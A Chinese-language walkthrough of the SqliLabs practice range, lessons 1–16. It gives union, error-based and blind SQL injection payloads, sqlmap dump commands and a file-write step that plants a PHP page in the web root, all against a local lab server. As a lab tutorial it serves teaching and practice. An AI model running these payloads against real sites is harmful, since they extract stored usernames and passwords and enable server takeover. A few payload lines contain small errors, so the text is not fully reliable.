0x01 簡介sqli靶場版 SqliLabs 是一個學習 SQL 注入的靶場,它提供了 GET 和 POST 的實驗場景,涵蓋了聯(lián)合查詢注入,、基于報錯的注入,、基于時間的盲注,、基于布爾的盲注,、堆疊注入,、二次注入以及各種注入繞過,。 0x02 環(huán)境配置靶場地址:https://github.com/Audi-1/sqli-labs 在 Windows 下使用 phpstudy 搭建靶場環(huán)境,將靶場放置到其 web 環(huán)境當中 成功訪問說明靶場已經部署完成,,接下來需要配置數(shù)據(jù)庫連接 在/sql-connections目錄下存在db-creds.inc數(shù)據(jù)庫連接配置文件,,設置數(shù)據(jù)庫賬號密碼以及對應地址 $dbuser ='root';$dbpass ='root';$dbname ='security';$host = 'localhost';$dbname1 = 'challenges'; 完成后訪問靶場,點擊 完成后便可快樂的注入了 闖關之前先了解常見的閉合方式,、查詢語法以及注入的分類 常見的幾個閉合方式: or 1=1 -- + 'or 1=1 -- + 'or 1=1 -- + )or 1=1 -- + ')or 1=1 -- + '))or 1=1 -- + 用閉合的是數(shù)字型注入方式,,不用閉合的是字符型注入方式 union聯(lián)合注入: sql union語法: select column name(s) from table_name1 union select column name(s) from table_name2 常用的sql注入查詢函數(shù): database() 數(shù)據(jù)庫的名 version() mysql的版本信息 user() 數(shù)據(jù)庫的用戶名 @@datadir 數(shù)據(jù)庫路徑 @@version_compile_os 操作系統(tǒng)的版本 select schema_name from information_schema.schemata 查庫 select table_name from information_schema.tables where table_schema='security' 查表 select column_name from information_schema.columns where table_name='users' 查列 select username,password from security.users 查字段 select table_schema,table_name from information_chema.tables where table_schema='數(shù)據(jù)庫名'; table_schema是查詢數(shù)據(jù)庫名稱(該字段存儲數(shù)據(jù)庫名) table_name是查詢表名(該字段存儲對應數(shù)據(jù)庫中的包括的表名) from information_chema是從這個數(shù)據(jù)庫里來查詢tables這個表 注入的分類: 數(shù)字型和字符型。攻擊者目的只有一點,,那就是繞過程序的限制,,使用戶輸入的數(shù)據(jù)帶入數(shù)據(jù)庫執(zhí)行,利用數(shù)據(jù)庫的特殊性獲取更多的信息或者更大的權限,。1,、數(shù)字型注入當輸入的參數(shù)為整形時,如果存在注入漏洞,,可以認為是數(shù)字型注入,。測試步驟:(1) 加單引號,URL:www.text.com/text.php?id=3’對應的sql:select* from table where id=3’ 這時sql語句出錯,程序無法正常從數(shù)據(jù)庫中查詢出數(shù)據(jù),,就會拋出異常,;(2) 加and 1=1,URL:www.text.com/text.php?id=3 and 1=1對應的sql:select* from table where id=3’ and 1=1 語句執(zhí)行正常,與原始頁面如任何差異,;(3) 加and 1=2,,URL:www.text.com/text.php?id=3 and 1=2對應的sql:select* from table where id=3 and 1=2 語句可以正常執(zhí)行,但是無法查詢出結果,,所以返回數(shù)據(jù)與原始網頁存在差異如果滿足以上三點,,則可以判斷該URL存在數(shù)字型注入。2,、字符型注入當輸入的參數(shù)為字符串時,,稱為字符型。字符型和數(shù)字型最大的一個區(qū)別在于,,數(shù)字型不需要單引號來閉合,,而字符串一般需要通過單引號來閉合的。例如數(shù)字型語句:select * from table where id=3則字符型如下:select * from table wherename=’admin’因此,,在構造payload時通過閉合單引號可以成功執(zhí)行語句:測試步驟:(1) 加單引號:select* from table where name=’admin’’由于加單引號后變成三個單引號,,則無法執(zhí)行,程序會報錯,;(2) 加 ’and1=1 此時sql 語句為:select * fromtable where name=’admin’ and 1=1’ ,也無法進行注入,,還需要通過注釋符號將其繞過;Mysql 有三種常用注釋符:-- 注意,,這種注釋符后邊有一個空格# 通過#進行注釋/* */ 注釋掉符號內的內容因此,,構造語句為:select * from table wherename =’admin’ and 1=1—’ 可成功執(zhí)行返回結果正確;(3) 加and1=2— 此時sql語句為:select * fromtable where name=’admin’ and 1=2 –’則會報錯如果滿足以上三點,,可以判斷該url為字符型注入,。Sql注入分類可以按照參數(shù)類型分為數(shù)字型和字符型。還有一些常見的注入分類,,例如:(1)POST:注入字段位于POST數(shù)據(jù)中,;(2)Cookie:注入字段位于Cookie數(shù)據(jù)中;(3)延時注入:根據(jù)數(shù)據(jù)庫延時特性的注入(4)搜索注入:注入字段在搜索的位置,;(5)base64注入:注入字符經過base64編碼后注入,;(7)錯誤注入:基于數(shù)據(jù)庫錯誤信息的響應注入; 0x03 小試牛刀 1-201-20關通過請求參數(shù)值,、HTTP請求頭,、請求方法、利用場景的不斷變化,,我們需要選擇適當?shù)淖⑷敕椒ㄟM行SQL注入,。 Lesson-1該題為單引號get型注入,利用方式包括聯(lián)合查詢注入、報錯注入,、布爾盲注,、時間盲注 id=1' 目標SQL語句如下: $sql = select * from users where id='$id' limit 0,1## 返回內容if true: 輸出查詢內容else: print_r(mysql_error()); 通過聯(lián)合查詢判斷注入點,嘗試驗證 id=1' AND '1'='1 //返回正常界面 id=1' AND '1'='2 //返回錯誤界面 使用 order by 判斷字段數(shù) id=1' order by 3--+ //返回正常界面 id=1' order by 4--+ //返回錯誤界面 由此可說明字段數(shù)為3,,通過 union select 查看回顯位置 id=-1' union select 1,2,3--+ 查詢基礎信息 id=-1' union select 1,version(),user()--+id=-1' union select 1,@@version_compile_os(),,database()--+ 查詢表名 id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'--+ 查詢列名 id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+ 查詢關鍵信息 id=-1' union select 1,group_concat(username),group_concat(password) from users--+ Lesson-2該題為數(shù)字型get型注入,利用方式包括聯(lián)合查詢注入,、報錯注入,、布爾盲注、時間盲注 id=1' 目標SQL語句如下: $sql = select * from users where id=$id limit 0,1 # 返回內容 if true: 輸出查詢內容 else: print_r(mysql_error()); 使用聯(lián)合查詢判斷注入點,,嘗試驗證 id=1 AND 1=1 //返回正常界面 id=1 AND 1=2 //返回錯誤界面 判斷字段數(shù) id=1 order by 3--+ //返回正常界面 id=1 order by 4--+ //返回錯誤界面 由此可說明字段數(shù)為3,,通過 union select 查看回顯位置 id=-1 union select 1,2,3--+ 查詢基礎信息 id=-1 union select 1,version(),user()--+ id=-1 union select 1,2,database()--+ 查詢表名 id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'--+ 查詢列名 id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+ 查詢關鍵信息 id=-1 union select 1,group_concat(username),group_concat(password) from users--+ Lesson-3該題為單引號單括號get型注入,利用方式包括聯(lián)合查詢注入,、報錯注入,、布爾盲注、時間盲注 id=1' 目標SQL語句如下: $sql = select * from users where id=('$id') limit 0,1# 返回內容if true: 輸出查詢內容else: print_r(mysql_error()); 使用聯(lián)合查詢判斷注入點,,嘗試驗證 id=1') AND ('1')=('1 //返回正常界面 id=1') AND ('1')=('2 //返回錯誤界面 判斷字段數(shù) id=1') order by 3--+ //返回正常界面 id=1') order by 4--+ //返回錯誤界面 由此可說明字段數(shù)為3,,通過 union select 查看回顯位置 id=-1') union select 1,2,3--+ 查詢基礎信息 id=-1') union select 1,version(),user()--+id=-1') union select 1,2,database()--+ 查詢表名 id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'--+ 查詢列名 id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+ 查詢關鍵信息 id=-1') union select 1,group_concat(username),group_concat(password) from users--+ Lesson-4該題為雙引號單括號get型注入,利用方式包括聯(lián)合查詢注入,、報錯注入,、布爾盲注、時間盲注 id=1' 目標SQL語句如下: $sql = select * from users where id=('$id') limit 0,1 # 返回內容 if true: 輸出查詢內容 else: print_r(mysql_error()); 使用聯(lián)合查詢判斷注入點,,嘗試驗證 id=1') AND ('1')=('1 //返回正常界面 id=1') AND ('1')=('2 //返回錯誤界面 判斷字段數(shù) id=1') order by 3--+ //返回正常界面 id=1') order by 4--+ //返回錯誤界面 由此可說明字段數(shù)為3,通過 union select 查看回顯位置 id=-1') union select 1,2,3--+ 查詢基礎信息 id=-1') union select 1,version(),user()--+ id=-1') union select 1,2,database()--+ 查詢表名 id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'--+ 查詢列名 id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+ 查詢關鍵信息 id=-1') union select 1,group_concat(username),group_concat(password) from users--+ Lesson-5該題為單引號get型注入,,利用方式包括報錯注入,、布爾盲注、時間盲注 id=1' 目標SQL語句如下: $sql = select * from users where id='$id' limit 0,1# 返回內容if true: 輸出 You are in...... else: print_r(mysql_error()); 注意:本題與之前稍有不同,,由于不輸出查詢結果,,因此不可以使用聯(lián)合查詢的注入方式,但是這并不影響正常使用報錯注入,、布爾盲注,、時間盲注等 通過報錯注入判斷注入點,嘗試驗證 id=1' AND '1'='1 //返回正常界面 id=1' AND '1'='2 //返回錯誤界面 查詢基礎信息 id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+ id=1' and (select count(*) from users group by concat((select user()),floor(rand(0)*2)))--+ id=1' and extractvalue(1,concat(0x7e,(select user()),0x7e))--+
id=1' and updatexml(1,concat(0x7e,(select version()),0x7e),1)--+ id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ id=1' and updatexml(1,concat(0x7e,(select @@version_compile_os()),0x7e),1)--+ 查詢表名 id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+ 查詢列名 id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+ 查詢關鍵信息,,通過更改 limit 中的前后位數(shù)字可控制數(shù)據(jù)顯示位置以及數(shù)量 id=1' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1)--+ id=1' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 1,1),0x7e),1)--+ Lesson-6該題為雙引號get型注入,,利用方式包括報錯注入、布爾盲注,、時間盲注 id=1' 目標SQL語句如下: $id = '''.$id.''' $sql = select * from users where id=$id limit 0,1 # 返回內容 if true: 輸出 You are in...... else: print_r(mysql_error()); 注意:本題與之前稍有不同,,由于不輸出查詢結果,因此不可以使用聯(lián)合查詢的注入方式,但是這并不影響正常使用報錯注入,、布爾盲注,、時間盲注等 通過報錯注入判斷注入點,嘗試驗證 id=1' AND '1'='1 //返回正常界面 id=1' AND '1'='2 //返回錯誤界面 查詢基礎信息 id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+ id=1' and updatexml(1,concat(0x7e,(select version()),0x7e),1)--+ id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+id=1' and updatexml(1,concat(0x7e,(select @@version_compile_os()),0x7e),1)--+ 查詢表名 id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+ 查詢列名 id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+ 查詢關鍵信息,,通過更改 limit 中的前后位數(shù)字可控制數(shù)據(jù)顯示位置以及數(shù)量 id=1' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1)--+ id=1' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 1,1),0x7e),1)--+ Lesson-7該題為雙括號單引號get型注入,,利用方式包括布爾盲注、時間盲注 id=1' 目標SQL語句如下: $sql = select * from users where id=(('$id')) limit 0,1# 返回內容if true: 輸出 You are in.... Use outfile......else: 輸出 You have an error in your SQL syntax 注意:本題與之前稍有不同,,由于不輸出數(shù)據(jù)庫報錯信息,,因此不可以使用報錯注入的注入方式,但是這并不影響正常使用布爾盲注,、時間盲注,。待驗證完成后我們可將其放入sqlmap中跑數(shù)據(jù)即可 在此題中作者還希望我們導出數(shù)據(jù),可在數(shù)據(jù)庫中進行查詢導出權限 show global variables like '%secure%'; 我們主要看其中的secure_file_priv參數(shù),,不同的值代表不同的含義 null #不允許導入,、導出/tmp/ #只允許在/tmp目錄下導入、導出空 #不限制導入導出 在 mysql 配置文件中修改為secure_file_priv=并再次查詢,,發(fā)現(xiàn) mysql 寫入配置已開啟 在 MySQL 中寫入文件需滿足以下幾個條件: 必須知道需要寫入的文件目錄(一般為站點目錄)的絕對路徑 當前用戶具有 FILE 權限 需要讀取的文件所有字節(jié)刻度,,但內容必須小于max_allowed_packet 與此同時還需要考慮路徑轉義問題,即使用\\分隔路徑 通過布爾盲注判斷注入點,,嘗試驗證 id=1')) AND (('1'))=(('1 //返回正常界面 id=1')) AND (('1'))=(('2 //返回錯誤界面 查詢長度 id=1')) and length(user())>1--+ //返回正常界面id=1')) and length(user())>20--+ //返回錯誤界面 確認長度為14位 id=1')) and length(user())=14--+ //返回正常界面 查詢字符 id=1')) and substr(user(),1,1)='r'--+ //返回正常界面id=1')) and left(user(),1)='r'--+ //left()函數(shù)id=1')) and ascii(substr(user(),1,1))=114--+ //ASCII碼 id=1')) and substr(user(),2,1)='r'--+ //返回錯誤界面 確定用戶名為 id=1')) and substr(user(),1,14)='root@localhost'--+ 以此類推即可查詢數(shù)據(jù)庫名,、表名、列名等 id=1')) and substr((select database()),1,14)='security'--+ 由于盲注太過繁瑣,,可以使用 sqlmap 來獲取信息 sqlmap -u 'http://172.16.117.135/sqli/Less-7/?id=1' --dbms=mysql --flush-session --technique=B -v 3 -D security -T users --dump 存在注入點 掃描結果如下:
以上條件已知,我們可以通過注入直接寫入 webshell id=1')) union select 1,2,'<?php phpinfo()?>' INTO OUTFILE 'C:\\phpStudy\\PHPTutorial\\WWW\\mac.php'--+ 成功寫入 Lesson-8該題為單引號get型注入,,利用方式包括布爾盲注,、時間盲注 id=1' 目標SQL語句如下: $sql = select * from users where id='$id' limit 0,1 # 返回內容 if true: 輸出 You are in.... else: 輸出 You have an error in your SQL syntax 注意:本題與之前稍有不同,由于不輸出數(shù)據(jù)庫報錯信息,,因此不可以使用報錯注入的注入方式,,但是這并不影響正常使用布爾盲注、時間盲注,。待驗證完成后我們可將其放入sqlmap中跑數(shù)據(jù)即可 使用布爾盲注判斷注入點,,嘗試驗證 id=1' AND '1'='1 //返回正常界面 id=1' AND '1'='2 //返回錯誤界面 查詢長度 id=1' and length(user())>1--+ //返回正常界面 id=1' and length(user())>20--+ //返回錯誤界面 確認長度為14位 id=1' and length(user())=14--+ //返回正常界面 查詢字符 id=1' and substr(user(),1,1)='r'--+ //返回正常界面 id=1' and left(user(),1)='r'--+ //left()函數(shù) id=1' and ascii(substr(user(),1,1))=114--+ //ASCII碼 id=1' and substr(user(),2,1)='r'--+ //返回錯誤界面 確定用戶名為 id=1' and substr(user(),1,14)='root@localhost'--+ 以此類推即可查詢數(shù)據(jù)庫名、表名,、列名等 id=1' and substr((select database()),1,14)='security'--+ 由于盲注太過繁瑣,,可以使用 sqlmap 來獲取信息 sqlmap -u 'http://172.16.117.135/sqli/Less-8/?id=1' --dbms=mysql --flush-session --technique=B -v 3 -D security -T users --dump 掃描結果如下: Lesson-9該題為單引號get型注入,利用方式包括時間盲注 id=1' 目標SQL語句如下: $sql = select * from users where id='$id' limit 0,1 # 返回內容 if true: 輸出 You are in.... else: 輸出 You are in.... 注意:本題與之前稍有不同,,由于無論輸入什么輸出都相同,,因此不可以使用布爾盲注的注入方式,,但是這并不影響正常使用時間盲注。待驗證完成后我們可將其放入sqlmap中跑數(shù)據(jù)即可 使用時間盲注判斷注入點,,嘗試驗證 id=1' AND sleep(5)--+ //界面響應需5秒以上 查詢長度 id=1' and if(length(user())>1,sleep(5),0)--+ //界面響應需5秒以上 id=1' and if(length(user())>20,sleep(5),0)--+ //快速返回界面 確認長度為14位 id=1' and if(length(user())=14,sleep(5),0)--+ //界面響應需5秒以上 查詢字符 id=1' and if(substr(user(),1,1)='r',sleep(5),0)--+ //界面響應需5秒以上 id=1' and if(left(user(),1)='r',sleep(5),0)--+ //left()函數(shù) id=1' and if(ascii(substr(user(),1,1))=114,sleep(5),0)--+ //ASCII碼 id=1' and if(substr(user(),1,1)='r',sleep(5),0)--+ //快速返回界面 確定用戶名為 id=1' and if(substr(user(),1,14)='root@localhost',sleep(5),0)--+ 以此類推即可查詢數(shù)據(jù)庫名,、表名、列名等 id=1' and if(substr((select database()),1,14)='security',sleep(5),0)--+ 由于盲注太過繁瑣,,可以使用 sqlmap 來獲取信息 sqlmap -u 'http://172.16.117.135/sqli/Less-9/?id=1' --dbms=mysql --flush-session --technique=T -v 3 -D security -T users --dump 掃描結果如下: Lesson-10該題為雙引號get型注入,,利用方式包括時間盲注 id=1' 目標SQL語句如下: $id = '''.$id.'''; $sql = select * from users where id=$id limit 0,1; # 返回內容 if true: 輸出 You are in.... else: 輸出 You are in.... 注意:本題與之前稍有不同,由于無論輸入什么輸出都相同,,因此不可以使用布爾盲注的注入方式,,但是這并不影響正常使用時間盲注。待驗證完成后我們可將其放入sqlmap中跑數(shù)據(jù)即可 使用時間盲注判斷注入點,,嘗試驗證 id=1' AND sleep(5)--+ //界面響應需5秒以上 查詢長度 id=1' and if(length(user())>1,sleep(5),0)--+ //界面響應需5秒以上 id=1' and if(length(user())>20,sleep(5),0)--+ //快速返回界面 確認長度為14位 id=1' and if(length(user())=14,sleep(5),0)--+ //界面響應需5秒以上 查詢字符 id=1' and if(substr(user(),1,1)='r',sleep(5),0)--+ //界面響應需5秒以上 id=1' and if(left(user(),1)='r',sleep(5),0)--+ //left()函數(shù) id=1' and if(ascii(substr(user(),1,1))=114,sleep(5),0)--+ //ASCII碼 id=1' and if(substr(user(),2,1)='r',sleep(5),0)--+ //快速返回界面 確定用戶名為 id=1' and if(substr(user(),1,14)='root@localhost',sleep(5),0)--+ 以此類推即可查詢數(shù)據(jù)庫名,、表名、列名等 id=1' and if(substr((select database()),1,14)='security',sleep(5),0)--+ 由于盲注太過繁瑣,,可以使用 sqlmap 來獲取信息 sqlmap -u 'http://172.16.117.135/sqli/Less-10/?id=1' --dbms=mysql --flush-session --technique=T -v 3 -D security -T users --dump 但我們并沒有掃描出結果,,原因是 sqlmap 在默認情況下不會測試雙引號,因此我們需要設置 sqlmap -u 'http://172.16.117.135/sqli/Less-10/?id=1' --dbms=mysql --flush-session --technique=T -v 3 -D security -T users --dump --level=3 掃描結果如下: Lesson-11該題為單引號post型注入,,利用方式包括聯(lián)合注入,、報錯注入、布爾盲注,、時間盲注,,在登錄界面以 post 方式接收變量 目標SQL語句如下: $uname = $POST['uname']; $passwd = $POST['passswd']; $sql = select username, password from users where username='$uname' and password='$passwd' limit 0,1; # 返回內容 if true: 輸出查詢信息 else: print_r(mysql_error()); 注意:本題與Lesson1利用方式相同,只不過傳輸方式由get變成了post,,與此同時存在兩個注入點$uname,、$passwd 涉及登錄的注入難免會讓人想到萬能密碼漏洞,以上可知 SQL 查詢語句如下: select username, password from users where username='$uname' and password='$passwd' limit 0,1; 那么我們只需要將 select username, password from users where username='1'#' and password='' limit 0,1; 類似的 payload 如下: #注釋 passwd uname=admin'--+&passwd=1 uname=admin'#&passwd=1 #注釋語句 + 添加真條件 uname=admin&passwd=1' or 1--+ uname=admin&passwd=1'||1--+ uname=admin&passwd=1' or 1# uname=admin&passwd=1'||1# #閉合語句 + 添加真條件 uname=admin&passwd=1'or'1'='1 uname=admin&passwd=1'||'1'='1 使用聯(lián)合查詢判斷注入點,,嘗試驗證 uname=admin&passwd=1'%20or%20'1'='1&submit=Submit //成功登錄 判斷字段數(shù) uname=admin&passwd=1'%20order%20by%202#&submit=Submit //返回正常界面 uname=admin&passwd=1'%20order%20by%202#&submit=Submit //返回錯誤界面 由此可說明字段數(shù)為2,通過 union select 查看回顯位置 uname=admin&passwd=-1'%20union%20select%201,2#&submit=Submit 查詢基礎信息 uname=admin&passwd=-1'%20union%20select%20user(),database()#&submit=Submit uname=admin&passwd=-1'%20union%20select%20version(),2#&submit=Submit 查詢表名 uname=admin&passwd=-1'%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema='security'#&submit=Submit 查詢列名 uname=admin&passwd=-1'%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name='users'#&submit=Submit 查詢關鍵信息 uname=admin&passwd=-1'%20union%20select%20group_concat(username),group_concat(password)%20from%20users#&submit=Submit Lesson-12該題為單括號雙引號post型注入,,利用方式包括聯(lián)合注入、報錯注入,、布爾盲注,、時間盲注,登錄界面以 post 方式接收變量 目標SQL語句如下: $uname = $POST['uname']; $passwd = $POST['passswd']; $sql = select username, password from users where username=('$uname') and password=('$passwd') limit 0,1; # 返回內容 if true: 輸出查詢信息 else: print_r(mysql_error()); 注意:本題與Lesson11利用方式相同,,只不過更改了拼接方式,,與此同時存在兩個注入點$uname、$passwd 使用聯(lián)合查詢判斷注入點,,嘗試驗證 uname=admin&passwd=1')%20or%20('1')=('1&submit=Submit //成功登錄 判斷字段數(shù) uname=admin&passwd=1')%20order%20by%202#&submit=Submit //返回正常界面 uname=admin&passwd=1')%20order%20by%203#&submit=Submit //返回錯誤界面 由此可說明字段數(shù)為2,,通過 union select 查看回顯位置 uname=admin&passwd=-1')%20union%20select%201,2#&submit=Submit 查詢基礎信息 uname=admin&passwd=-1')%20union%20select%20user(),database()#&submit=Submit uname=admin&passwd=-1')%20union%20select%20version(),2#&submit=Submit 查詢表名 uname=admin&passwd=-1')%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema='security'#&submit=Submit 查詢列名 uname=admin&passwd=-1')%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name='users'#&submit=Submit 查詢關鍵信息 uname=admin&passwd=-1')%20union%20select%20group_concat(username),group_concat(password)%20from%20users#&submit=Submit Lesson-13該題為單括號單引號post型注入,,利用方式包括報錯注入、布爾盲注,、時間盲注,,登錄界面以 post 方式接收變量 目標SQL語句如下: $uname = $POST['uname']; $passwd = $POST['passswd']; $sql = select username, password from users where username=('$uname') and password=('$passwd') limit 0,1; # 返回內容 if true: 無輸出信息 else: print_r(mysql_error()); 注意:本題與Lesson5利用方式相同,只不過傳輸方式由get變成了post,,與此同時存在兩個注入點$uname,、$passwd 使用報錯注入判斷注入點,嘗試驗證 uname=admin&passwd=1')%20or%20('1')=('1&submit=Submit //成功登錄 查詢基礎信息 uname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20user()),0x7e),1)#&submit=Submit uname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20version()),0x7e),1)#&submit=Submit uname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)#&submit=Submit uname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20@@version_compile_os()),0x7e),1)#&submit=Submit 查詢表名 uname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema='security'),0x7e),1)#&submit=Submit 查詢列名 uname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name='users'),0x7e),1)#&submit=Submit 查詢關鍵信息,,通過更改 limit 中的前后位數(shù)字可控制數(shù)據(jù)顯示位置以及數(shù)量 uname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20concat(username,0x7e,password)%20from%20users%20limit%200,1),0x7e),1)#&submit=Submit uname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20concat(username,0x7e,password)%20from%20users%20limit%201,1),0x7e),1)#&submit=Submit Lesson-14該題為雙引號post型注入,,利用方式包括報錯注入、布爾盲注,、時間盲注,,登錄界面以 post 方式接收變量 目標SQL語句如下: $uname = $POST['uname']; $passwd = $POST['passswd']; $uname = '''.$uname.''' $passwd = '''.$passwd.''' $sql = select username, password from users where username=$uname and password=$passwd limit 0,1; # 返回內容 if true: 無輸出信息 else: print_r(mysql_error()); 注意:本題與Lesson13利用方式相同,只不過更改了拼接方式,,與此同時存在兩個注入點$uname,、$passwd 使用報錯注入判斷注入點,嘗試驗證 uname=admin&passwd=1'%20or%20'1'='1#&submit=Submit //成功登錄 查詢基礎信息 uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20user()),0x7e),1)#&submit=Submit uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20version()),0x7e),1)#&submit=Submit uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)#&submit=Submit uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20@@version_compile_os()),0x7e),1)#&submit=Submit 查詢表名 uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema='security'),0x7e),1)#&submit=Submit 查詢列名 uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name='users'),0x7e),1)#&submit=Submit 查詢關鍵信息,,通過更改 limit 中的前后位數(shù)字可控制數(shù)據(jù)顯示位置以及數(shù)量 uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20concat(username,0x7e,password)%20from%20users%20limit%200,1),0x7e),1)#&submit=Submit uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20concat(username,0x7e,password)%20from%20users%20limit%201,1),0x7e),1)#&submit=Submit Lesson-15該題為單引號post型注入,,利用方式包括布爾盲注、時間盲注,,登錄界面以 post 方式接收變量 目標SQL語句如下: $uname = $POST['uname']; $passwd = $POST['passswd']; $sql = select username, password from users where username='$uname' and password='$passwd' limit 0,1; # 返回內容 if true: 無輸出信息 else: 無報錯信息,,但返回圖片不同 注意:本題與Lesson7利用方式相同,只不過傳輸方式由get變成了post,,與此同時存在兩個注入點$uname,、$passwd 使用布爾盲注判斷注入點,嘗試驗證 uname=admin&passwd=1'%20or%20'1'='1&submit=Submit //成功登錄 查詢長度 uname=admin&passwd=1'%20or%20length(user())>1#&submit=Submit //返回成功界面 uname=admin&passwd=1'%20or%20length(user())>20#&submit=Submit //返回失敗界面 確認長度為14位 uname=admin&passwd=1'%20or%20length(user())=14#&submit=Submit 查詢字符 uname=admin&passwd=1'%20or%20substr(user(),1,1)='r'#&submit=Submit //返回成功界面 uname=admin&passwd=1'%20or%20substr(user(),2,1)='r'#&submit=Submit //返回失敗界面 確定用戶名為 uname=admin&passwd=1'%20or%20substr(user(),1,14)='root@localhost'#&submit=Submit 以此類推即可查詢數(shù)據(jù)庫名,、表名,、列名等 uname=admin&passwd=1'%20or%20substr(database(),1,14)='security'#&submit=Submit 由于盲注太過繁瑣,可以使用 sqlmap 來獲取信息,。比較方便的是我們可以將數(shù)據(jù)包保存為文本文件并使用星號標記注入點 POST /sqli/Less-15/ HTTP/1.1 Host: 172.16.117.135 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 78 Origin: http://172.16.117.135 Connection: close Referer: http://172.16.117.135/sqli/Less-15/ Upgrade-Insecure-Requests: 1 uname=admin&passwd=1&submit=Submit 使用 sqlmap 調取數(shù)據(jù)包文本進行掃描 sqlmap -r less15.txt --dbms=mysql --flush-session -v 3 -D security -T users --dump 當然也可以直接設置參數(shù)進行掃描 sqlmap.py -u 'http://172.16.117.135/sqli/Less-15/' --data “uname=1&passwd=&submit=Submit” --dbms=mysql --flush-session -v 3 -D security -T users --dump 掃描結果如下: Lesson-16該題為單括號雙引號post型注入,,利用方式包括布爾盲注、時間盲注,,登錄界面以 post 方式接收變量 目標SQL語句如下: $uname = $POST['uname']; $passwd = $POST['passswd']; $uname='''.$uname.'''; $passwd='''.$passwd.'''; $sql='SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1'; # 返回內容 if true: 無輸出信息 else: 無報錯信息,,但返回圖片不同 注意:本題與Lesson15利用方式相同,只不過更改了拼接方式,,與此同時存在兩個注入點$uname,、$passwd 使用布爾盲注判斷注入點,嘗試驗證 uname=admin&passwd=1')%20or%20('1')=('1&submit=Submit //成功登錄 查詢長度 uname=admin&passwd=1')%20or%20length(user())>1#&submit=Submit //返回成功界面 uname=admin&passwd=1')%20or%20length(user())>20#&submit=Submit //返回失敗界面 確認長度為14位 uname=admin&passwd=1')%20or%20length(user())=14#&submit=Submit 查詢字符 uname=admin&passwd=1')%20or%20substr(user(),1,1)='r'#&submit=Submit //返回成功界面 uname=admin&passwd=1')%20or%20substr(user(),2,1)='r'#&submit=Submit //返回失敗界面 確定用戶名為 uname=admin&passwd=1')%20or%20substr(user(),1,14)='root@localhost'#&submit=Submit 以此類推即可查詢數(shù)據(jù)庫名,、表名,、列名等 uname=admin&passwd=1')%20or%20substr(database(),1,14)='security'#&submit=Submit 由于盲注太過繁瑣,,可以使用 sqlmap 來獲取信息。比較方便的是我們可以將數(shù)據(jù)包保存為文本文件并使用星號標記注入點 POST /sqli/Less-16/ HTTP/1.1 Host: 172.16.117.135 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 78 Origin: http://172.16.117.135 Connection: close Referer: http://172.16.117.135/sqli/Less-16/ Upgrade-Insecure-Requests: 1 uname=admin&passwd=1&submit=Submit 使用 sqlmap 調取數(shù)據(jù)包文本進行掃描 sqlmap -r less16.txt --dbms=mysql --flush-session -v 3 -D security -T users --dump --level=3 